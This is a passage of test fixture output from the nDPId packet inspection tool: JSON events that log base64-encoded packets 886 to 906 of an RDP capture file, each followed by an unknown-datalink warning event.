eOpIYNwb3refF\/XHulZO6+9vAZtblCxbW\/735B2MPUbz15izHVZsiWR0uw\/G9bdXZyFBxEg5l39WEjLMuw+PM+f+EHehJoIkGTAk+2fsjh9qX\/hfRFMazUOUIJCYd4bks8D16vZpX6B0EvXqslNs8xuOyZ0Rfhnj6Fo55\/uJwhu63TQ9+PhV\/B1H6OrMrVtuHtsKN7jLO0TgI5NXSxxdFnRYc22yxZm8iHsEMIcy1IwqUSQhuSG4qbQ8HmHVqx+D5Wu34MZiqoOfEIc9Fj1FtnfmtEZqoLnaYJPxtDxlo3KnxX5QL0ZaU75PGIf3o2hyRzlUMpDLd3N3\/D6OAjKSvYzCDWokd8SRhpTeX8kNrGrLvhqlPRibSxJrMa36WXitr2yMAtieTAGwhT36wLT\/WOnxe4kNAvrfK6keLl7Gj3l7yG6vc73BxOVgaRL1tfmDJ90oxysD\/DWA0CLKiTOvUh2SkmjsKoTUBMi9FV0N4yHqdWDkJPL0V0oZW3xgZckXUpEfj7McUKNTfSN+ZAtrwPuIHWqjn75o8I\/+GXjR9nekPDoUSrqc5mzdhSXrbkamzrbzcldRJrDezOSOCdhgMY2037dSc5\/900bbApGhMkxQlzGk7iF8+IvCyVBppGr8A7SHoQKT4uT19YiQ4Gf+trEv0A45+9TZwzEpSu\/vYRXP7xdMIq3JC4asxpo\/xOzESIOaavtXq5++GU+L08sBeD\/OkP+kr4DaOJiGMWYS29dA3GC9pnXPxw7889PaI3W9A9RpIyRYQBd+ueleYhNWW1F+pOeMXz20EKmGSvGqBXQ0+m7htCkDh8NQYw22LShE5HMT92CBwGe6WDiStY3o7nwSi6bzkgrblXPefBorEqx7lh3qEiPwBprliq8bN2hLdzfcbiJT0Xqxuw1psqPIIii4uyxZNMmdL95+tllhdlrsiaDnOKKq2bHaPaJP88WYE0Q5K4J5uEaB8Arzo2K1cyPTguWwwP3YJsqXXf4jAaCz07y"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":886,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00859{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":887,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":12850,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhQUAAfwYnFMCoAo6sEAK5DT3NDkec1JT5vQ96UBj4nlGuAABkwy0fd5JGYuw2eEmOQ7pMxVew736\/4gUIzdnQIeOzFWgaBpUz19d\/BDOb1S5wP+nJBvcQU7j6BD8dQY8Y3L5W5JC2Elg53UuYq1isH3hqD9YCS4yzoButyF7q9gkDhb7HJ8hfS6pSKrcUtOYaQKiasPdgUo20oqmkPvbdv9PaxrmOaA4iEyfyFL9vC3nvMq+CFnTBsWTGLbLJKy8eShuYGjZ2eFkSwmrEyu3JZ57cRatXEHrQUeZVlwzf9WU0tiDrxx2jEnTLjBEyopX1lCt4Xr7+Pr0iPPeX6yMOD7Jf25iw6gvWEhtJIPfUkDaTDxGXO8cgyLzIZUz9Vj8vRflg1c7atNzD5MMr+DPTaY+MltuAqJKd2QjaFiqZwFQSdrnmYqKF6ZwKLvwSvsFUs3hLRDK3zUG8\/gVnM7J5mRcOxXJiF+2XkPy5uR\/RkHGvmfw5f6HPta4VFvaSnRBsQDYHRCIPtp0KEXRxqXgvqyTyFW0JKIeinKNazZaC"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":887,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":888,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":12894,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9D7dHnNYPUBAf9Bx0AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":888,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":889,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":14029,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hQkAAfwYoWcCoAo6sEAK5DT3NDkec1g\/5vQ96UBj4nlpWAAAXAwMAMAAAAAAAAAEY9+b\/FWX5piHBbHlbIrdihSrLjtF1\/YxdLSFQjPeORrvUDJTICAjCnQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":889,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":890,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":14085,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9D7dHnNZEUBAf\/hw1AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":890,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00421{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":891,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":14403,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9D7dHnNZEUBggANZPAAAXAwMAMOAIO32NJwvp3tl0QYp415x6pMb+6dw40RuK2BwWr8qvyxN0TCzWlBlyiq2H8PDuiQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":891,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02083{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":892,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":14560,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhQ0AAfwYjlMCoAo6sEAK5DT3NDkec1kT5vQ96UBD4nuGBAAAXAwMGbwAAAAAAAAEZv4rTN0z32hlInyEFh\/Evkvx809i4vkKAFT7WO+d0LQDcP0KaSFW\/scxlUE78T9bcrcwlJ6AqBNtnuHWlUdJ1wKGdbI\/1GacG4o8N+GPjdeeSdoAdqpayMNopL21WeTbC104jHzLBzOyUVmKtgwUBJ8ZBN7lQiY2YYjVUPK4ms3amiBPa0CspaiQpWhH\/SbAjihXYwFFW47N4KvnuPg34EeiPhrpsOdtj1gFVNVewxoQ3xoc4SRTQriQXt4m6USNyHsuEuAvEBhzOu0hmKvW6+2fmcSBOYI4xYstKjneWkzZ+YW++QuUeLP14iRA+riMkq95T7r8hRrRQKU6Fb\/\/6Vjkr7Wn7iRPnPEaLhldSXcLU0QckD7sgeFSAXeDQTyS23lCA4av2slwgTRmzphYA8vbZgzaNWmIJscTVSMRgFogF0ue8WqtiAVWltmRs0EQm8Nxx19+sVW7HnH3GgpZBvJ\/4wmcjeXu0vGPvd5Ci2Oz98xtrnjrqI14U8zR0yiCcKLWFLX2ETMZpbPlyeNjg6VO0DRJ9cQ0sU7D7vQ715GLXKdy1F4oZu\/RZu2vQv0ofVnz6IXR7ExwuuN2mYDF0uq0ut8\/FeJqMxg\/fT4IrqSzSRrdSJSycUPjDc\/q21dQgyqM4nN2uMYoH9Ab6E+2qq3\/q0TqQNu6V57elsBfwF6oLGWSZomB\/617rW8UwrIuSly2mZ7X4DLJjiH1Zqxl7\/F6wwpHytmSKSrb9IwbvHqgRaT8NmspzpXGgKiGsfO5zvAkTVJmT0\/alZlWxYlzqnTffoYY+ocNHvlCivxjOw4QVse\/VcWyX3NCpLgBGSuq6FtoSQnF0X5DOUJNrHB082kOaPFOO3uORZv932xcRqaGreSqWQafnwMmeO2\/Z3SjFFRHHTD9xphkE9mysGUqvfKImgB7eQXZgKrufLLCefhaSwzezYZjmDF5H1uN\/EHCSn8hZqxqvcFZ\/wgGT+e5bvnxN1HzQFIRMF4LF7Sq9rDp+xbs8qi2ioUQd\/F+9lcAX7QT3gq9ACI01vEElm\/q6Vh4fIcafkFuQL\/lU5fnXEJiDFuSFw6NDZZTVNRoR3AB9qxKh\/JwTzJ7fOgQB95xGxaBJrx7n4PiYSQ7G6scTQB01UV2srE9cNy7jCuJTLnTlstSlVjv7ZdJYUqqjZRnio+tXCGHHuRiqGA5KmIYGilXytJYD5du+IIVu0Y7NyqC5VPCIZM2Ntr4vPgXzvV7+jDESNqPnetPjL7GGwTH63YBsuXThQUpgAssR8Ilw\/jezf\/tTzebSfrm\/t8EXPmKwc1g5BgfMmK9qDM5NZWBT5faUijE2rTl\/7aLyxPnDeXs\/Z9MxjIgYNtNzwOUEyHpJSuuMvEzYR7YCg4tK6\/43URQKhcanbbIGDAsVGe+Qf+scDTSuoh0kKsQrUTqfu+p+4E9pOsP85OHwioKhyGqmIzl4NedeP0rsWdnnCVGj9o\/OdnYs0CZ4QZcNbQl6urZNUbtDLl5+3tCA+\/EO9EB4tY+6Zd2hiJjzCcICL6EO8PS6B8kdGLkne4N6VDREs9TGcxUrbAl6H+kPc5AJArzO524lxQiGTEyXGdQ8uG7xR+Jl8B8WgQQRVUPS5Q1C9Q8UQ\/uwZljdtj\/jCR706SEuyc3QfjwuRTnsnaJD1NS1ymBDeXcFGmH\/V3h85fwx"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":892,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00862{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":893,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":14732,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhREAAfwYnEcCoAo6sEAK5DT3NDkec2z35vQ96UBj4nlsWAADSdAMRZvAPzRoyq\/dmi27EMEYzwnk2z75tjSncC7iunN8+z14LjB1N\/MDftd6LcJ9C6FP7Sxe45JwM7hWgsrac+xoFNdZMU5bZGZnL9aUp6XSt5wZy0CwLNd85vNEF3vzEJoMXPtiegkge3pFNHZq1dRiBRWLlr82KMf17XdNZC9cV4hK3esDrt1U2KKBo8T6p017iZFdfUEyEDvi7\/mWZD5pgTt1hoP820nzX4sWjc2TWCtMdg5j\/enhPuHSYeKLjjZNE93aP3hHyY+vDl3Xb94e2jN+vbBzukS6bzHR7hYPq7HKePj84iPHai\/0PJqc3CSNtrkosaIBqnKZLjI8PbLq5agO8N83bVdAh4apzHTVQd\/OSubbavxz2d1MSlbLNYLbDrEixC4hjwUs8eWy6KSbjRgRLuQKx854nEQqSSG+2M7EIkur42LZsBqdotjo06FiLhH0bGAgAroJQoGtCkzbShA\/9vKYtL3EZaqhm0RX5LNLi0Orckn52"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":893,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":894,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":14983,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9D+xHnNy4UBAf9BWWAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":894,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":895,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":15058,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hRUAAfwYoVsCoAo6sEAK5DT3NDkec3Lj5vQ96UBj4nubEAAAXAwMAMAAAAAAAAAEaGaPpaYhLPzTWhjOZr+rJpUiqkwpO9fKDCZDWZzvmcE+kjKSsr\/dmKA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":895,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":896,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":15099,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9D+xHnNztUBAf\/hVXAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":896,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00421{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":897,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":15205,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hRkAAfwYoVcCoAo6sEAK5DT3NDkec3O35vQ96UBj4nviHAAAXAwMAMAAAAAAAAAEb9edOmcGxlrYHDiiUAOBkqyf2hGNL0NoEDUnEQqD9cp+tTRz37UC96g=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":897,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":898,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":15246,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9D+xHnN0iUBAf\/hUiAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":898,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00432{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":899,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":15409,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9D+xHnN0iUBggAPzpAAAXAwMAOOAIO32NJwvql6+bvk0JMOcnT5Ks5dOPpNK8Dvm4\/Q2yLryjAaEO2qU9Ho+7WRFeDKIKQghfxJq0"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":899,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02074{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":900,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":15542,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhR0AAfwYjkMCoAo6sEAK5DT3NDkec3SL5vQ96UBD4nml+AAAXAwMGbwAAAAAAAAEcd6OaDqrgW9ookHoAZm9B\/Wb8m6m2soZILrpe1nDNe5Kw7mCP1vi3Q7pxBsf5SnWdsX0VgDw0o1coYfK8oavRd+9FOIE3Iq7rQ0NcJSJ7zNh3Awgz11rmWre3rty9ZQrYNP8e8RVMNr2YTvb9rMOPnlmWyF7kuOKgADbBntUUwm3deoZxbcsTOvMg7r62vlKWu2O2PG+2mvT+MfsSPwrkIebJOhS6WnvlPeygeTam\/Vqg1bH\/W0De\/IPpouJuB4ERwUXw3Q9LcmAYmMgVjwxooRWJgfCHNRdii+MIZfGl0rGdC6poqoSogCuGAM0DlzJ3E8\/IbQq05AfIsv2rxtu3uGnrrXFJX+1Jvs3ri3maIfXGO5\/mm4KmQEOq+qKqLwZsJMvCxEctmApLnLmuyDDc17Z69yYNMCJwwJRLnWf7E\/f+m58kjkkB\/k7dGQM01yKvMJAYdExQRAjP2FnASKXK4NQVulnkGd3sirZXbRJABDDpt5Fs7hHS6ajWjJ1gpFlQ68ZerKsPQ0a4gDU7gN4gkz93fyYzdMM+S++ASACoBRpkrgbaiAY7NRbNNC2knv\/ntVwBH2IQASUwaM213QRxjFpW7dLE7jBKPYu4SEB12S7cp6+AZAdOA6Cbb8\/7HFWVKhj19hNqe+sOIKqGwCzSTT\/mmYrfgxQGPNfzjeB72swHkxBJWHN+R5mj74N6CpjwZGqpr7BU4YsGMrDh+22Mzkl2wBzFM22qm4P\/HIdokPE743tqUkjfpCEHbqFOSJWi+MzKtKlcK\/x+tzcpzWon1x8MxpgUVQUwwRJBzIm0V3DzyRo9\/uAMTvKdym6yaxiMFECAauU77jOrsU\/Um1Il9n5Xh3D4Sq0Ti7QIpposOKRFZpM0DAOlsyXXGGWGRlpLt7M7hNYfqkmniyNRfiBb84RgTklssTjpLbs1X1ipRXBPjNVxw6Zxr6YVbxwXMGx3KgP8TWV2rL1K2ioNXTLeoXLmZEBofStTL5L9LgXJyLqSTelPT9rdn1Ai7u2jxnUO6EaphnKmGmugs3mO6ApCSHT2ABA1COK6X6LHQpNKQACfSzlwE0sz\/8IHHegWSFYhb5HzckN2AERDyx+sfQTniuEoy6n+xxgfdQyr2t2Ab8iRKtSmjU8YLjArXmzoO1\/I7ulPrDSonAM2AOOfihWRYayeh\/CpHBjIV6DlWbruYy7vgmemDr0TGNzpKQCHwA0gDDKlcq0OOfjxYogw70TEJwqVENkYMXH2hfSy7G+lwXaObpRc3Fky6lcZ76rL7HDi6AvNKCD3gcGV1s3\/9boqSOQdKvtHraF5WPawhtwYB9QZf7YibSlnGWWLHEcwAMdrUCAJqGxYLbZMxemRIJ8z\/fsCsCudqE\/qSxLRC9kW7mfuvrpCZz8MewyiwcrEgQVCxnkTIxd7l1\/iUK3ZyeNlP3k5u9EV9IF1sGj6m0hWRdfTmMt7Zo0J+JMyiiHX63fxLHZPMHN6PsuWKeRppw0GvMCOXNrjNfiRwKpjsi6QSMrz4g5ETwlRJrFZWHJmicIhAcHuUCHSuPEijwRndJL38T3Xc5qghwj3iNooSjft4vWf5H5R5CDYDYQVtaSTKP0oJ86YZIlCV1NdIy4TxoVZv5CDtGURjOsCpJ2EeoR9RrzUDT9zhtRTsvOZ\/xU9TOC+WOCSni\/X\/471Anjn"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":900,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00862{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":901,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":15628,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhSEAAfwYnDcCoAo6sEAK5DT3NDkec4hv5vQ96UBj4niOgAAB+1lbdk1hFu5PMhuYhPIcCCOwN+r0WGYxNvK0xICWs1sjyZ7RLTD2u9zQxBwJwcou2n43tIjcO1vAWKdZdm\/dIoxLYTXcgWC5x\/zdBQhu7KGwRsPm72TNIrfnximKfpubE7aDIUNR3SmmIfwTw0TYs0nrYqdT4Go+kuKv3AL5ikuYv+JGInS6gt38QetWmxaswTjfDkeyrl7M4N5xCGihyUm\/S+JmClTHO+Ns4CX+SNzBPVDb6mYytxJtQACrGCQr9b07GFn0B3w8MuelM\/3L\/4XZwCF15txw40l6us2JVYx7E6qFHd\/DW4TTkFXx\/lSvxY+5t960coDvSjK+MBk4sDEmpVWMo3X7CAcXlkrMOyZcJjhMBC8qDkKUoxVrNrixZssWCYFMgPvAOIdJMPW0SiMxp4fHCTht9pNz901gkUu0JbXCX2vC+cVWW2JItpdqcWDXDcM4X1zCYaEghyTJx2z4VpX5IL4MA1LLDDk3jyJ7WHFiIyuYMnfO+"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":901,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":902,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":15720,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EClHnOOWUBAf9A57AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":902,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02070{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":903,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":15918,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhSUAAfwYjjsCoAo6sEAK5DT3NDkec45b5vQ96UBD4nudoAAAXAwMGbwAAAAAAAAEdN7PPQ8uHUIXSgs5QlO2RdhZNC00JXNAzwiMRwE0RJXV7FbioiaTcXPBPe+NVF+HK\/oSjMWiqi3F+HvV0NRDToyYWzcKTxI68K69tIrnmFxaPPORcE5si8Z4PlddmZGM6JqiT+WKqrBFWIC\/8wW3nrvABJDqdQB\/oAROYx+bYJ2zhKBJRTdbPzlg2PcAsIFig4guQNRhf7ymCnDoUL6JMBz4gUWqWuF248FlOphR8aRztpiYn5KfGgVnThTrQkZShHis+HbJXLZ4daxhKhVkfbxuV+Uo38zGbe15fZLNg0Z8Z9kzqXihtwMc7uY9O1RWsOvXhGXjyUCKR0APSxv2+JpqxVGCNVXs\/V9wovt2e49L2mFrFwTR0uDxc25gb1+M8s7MQDwRyAkKn0B9dVQAgxa77xfuVcNZGYdeHwJM3ZMD9d2j9Lk+SFSWvfnmxniAFOsGHzVEp5a8AlDqLB57Qt6Bt3Ck7cg3fTnBgvt0OOdX387kJfjrMVP3BZSTpeTirPizOqkT166qne80bCv2ET8Gh5FUeQTTL7laCTCP5pWKXroOWh1eq+g7wFevgDJOHgJByr7ldtsJ70lEk0\/AYlU\/2jP\/018k0DmLWFbtlzDzf1BadqE4FmDeApX4krKkSVe6L4tRtu1aAeremPSvwH+Nb4Xqt7c3tpcXbaGy1Url4FapPYiCnADXqlXLSsjEwo6r\/\/Wd7rszIdcRQ4CF4PRDJpZSsHVdyV6pD2gPdr1Dd18ybGpV9MkJ\/Vl3O12hFaXRVx1uPJHTc2RibkbmDoM\/07xMIOhEjLZ0y1IJ6bfsa\/fd7CDKgDsj+eG7iDCaD4UeOzJh1pND9Z1RqAp90ztHDg0Op3Uaaz+56JU3RP6igjui71uPxNGTKGkdj5FeasmIQ5wBPDA3paskdDSl3BGfmuUMOqUoT+i9IE1z6rTDhYFotHroqapG7LZcLEBEpxr1PaDeXDoeK7Sh2\/oXv0h+Oa5DSEN1V7OZVR+XImx4B1BNPrpJC0k6fgnMYZJK09wcfLPfvnzYbro5HnY5fmyyOq9KYFTOz9OOpQOLgCM63ogzXLrogQOZq1DKQzLCHllOIo8rVBg\/IP308KZR1jsjMbD5cDLFRiJhcd1YTST9E6aYPwEXNN6tT0T9XmUvG61amfWg0X\/tQbI6452jzeChhEnvhdTx8Fm8+59QwNCc\/o+eX06ROlsE8y5x+5mjUD3aIcStiwd5HJGMXKn3KZcXjVlX6M\/LE2beEewkg7Q9aEgFgGL\/CWAcYYBQLD\/JdTBED213RET0I7lNflvar1cgf3vE0j3uQJSwp+9+rhR6ZV7R2pBz13W92x6w1CW2qR6p+TJM99mE25etYva0th0SXHWlrlNBBQYfKXiwSM+gVMBDc9xUQKgGSOX639oaN9FX6spubtpVf6vJlgWX2vxDRS75Kac1Uy3d7JzU4xD6KBYypEzzCCzaIWnawp0IbaULL7ATDUxAfH5Gk0mjY1OcTARhsqeyWHKJt8RHSVKi7i3kf2cLkP0OCGOHeUU\/m2UbAWLR+9XhUwxhOFRc64C4LEL4NPtJ3brxrwpgqVuVq\/KyH09yLdx89RFmrJWgN7HILbce52287FwiwWn2056vyt3jJEa6a0WZwqAw1qo5VqQxgzrsTlCx3P41d2MDKOhZPzBqlDyOEu04M"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":903,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00868{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":904,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":15962,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhSkAAfwYnC8CoAo6sEAK5DT3NDkec6I\/5vQ96UBj4nuosAAD30ON\/8MsolJiTS2dU1xyJm8ILj5htYmKaSe3CqlqBjNZ72\/UYuFDb9cbl2rJIRMd3NRoOJpcRiX7mlX0NC\/sJjo6E4pqw3vb1Pc5I4\/0v\/E5r+bbo0qZ2AJeT9XrEFcLDsz6dNJ4nU8MZ+\/REdMGhraqUsQWHBLBysEUpx3g1WCJBd5kDDVtpZ1HAND9aXZEI9JK4w3pk4hoWuYLxH5xAFRLxO0SuOKE\/4\/qd4ml5lglVuxf2KBRejStGbBE\/S8j7kFcLRX9FjYLr251NS27bCyEjGKaQOsnXNP\/A69BGntJWmP5ekD9kwH7T1pB0KXAHwgLydRPmpakZvaBGEKyVgo7KK3MTD+xKglALK7IP4zJQ\/qW0Mqh+KJOl1bR+xKV+vK+hs4rRPvtN7Z0NchDA8GMHAtan44khHJkgvxclUzvVtPtw3HzhooJaeJ+4duRCqPCt5FQJY2uWBYeh73EmXy0BbNd5Y2sUCF5KhiKTKQIW1fNdavu+v\/fy"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":904,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":905,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":16008,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EClHnOoKUBAf9AgHAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":905,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":906,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":16199,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hS0AAfwYoUMCoAo6sEAK5DT3NDkec6gr5vQ96UBj4ns60AAAXAwMAMAAAAAAAAAEemsk5rm9BIEm\/y\/j\/eeSy9mA1iLVfT9YZ47vPygFnW9hqiLbLeMsCFg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":906,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 